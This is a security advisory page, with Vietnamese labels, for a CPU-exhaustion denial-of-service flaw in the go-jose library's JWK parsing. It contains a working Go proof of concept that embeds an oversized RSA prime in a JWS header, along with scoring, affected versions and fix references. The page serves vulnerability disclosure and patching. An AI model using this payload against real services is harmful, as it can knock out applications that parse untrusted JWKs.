CVE-2026-116587
Mở trang đầy đủCVSS 7.5 HIGH
Go JOSE: DoS when parsing JWKs that contain RSA keys
Mô tả
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
Điểm và phân loại
- CVSS
- 7.5 HIGH v3.1
- Nguồn điểm
- NVD
- Mức độ (theo nguồn)
- HIGH
- EPSS
- 0.37%
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Ảnh hưởng
| Package | Bản bị ảnh hưởng | Bản đã sửa |
|---|---|---|
go github.com/go-jose/go-jose/v4 |
<= 4.1.5 |
4.1.6
|
go github.com/go-jose/go-jose/v3 |
<= 3.0.5 |
Chưa có bản sửa |
go github.com/go-jose/go-jose/v4 |
< 4.1.6 |
4.1.6
|
Sản phẩm
- go-jose go-jose
Vì sao bị lọc
- CVSS 7.5 < 8.0 và không thuộc CISA KEV
Loại tác động
Không nhận ra loại tác động nào từ CWE, vector hay mô tả.
Dữ liệu riêng của nguồn
- CVE.org · Đơn vị cấp mã
- GitHub_M
- CVE.org · SSVC
- Tự động hoá được: yes · Khai thác: none · Tác động kỹ thuật: partial
- OSV.dev · ID
- GHSA-mgcc-cww5-fp2q
Tham khảo
- https://github.com/advisories/GHSA-mgcc-cww5-fp2q
- https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q
- https://nvd.nist.gov/vuln/detail/CVE-2026-116587
- https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
- https://github.com/go-jose/go-jose/releases/tag/v4.1.6
- https://osv.dev/vulnerability/GHSA-mgcc-cww5-fp2q
- https://github.com/go-jose/go-jose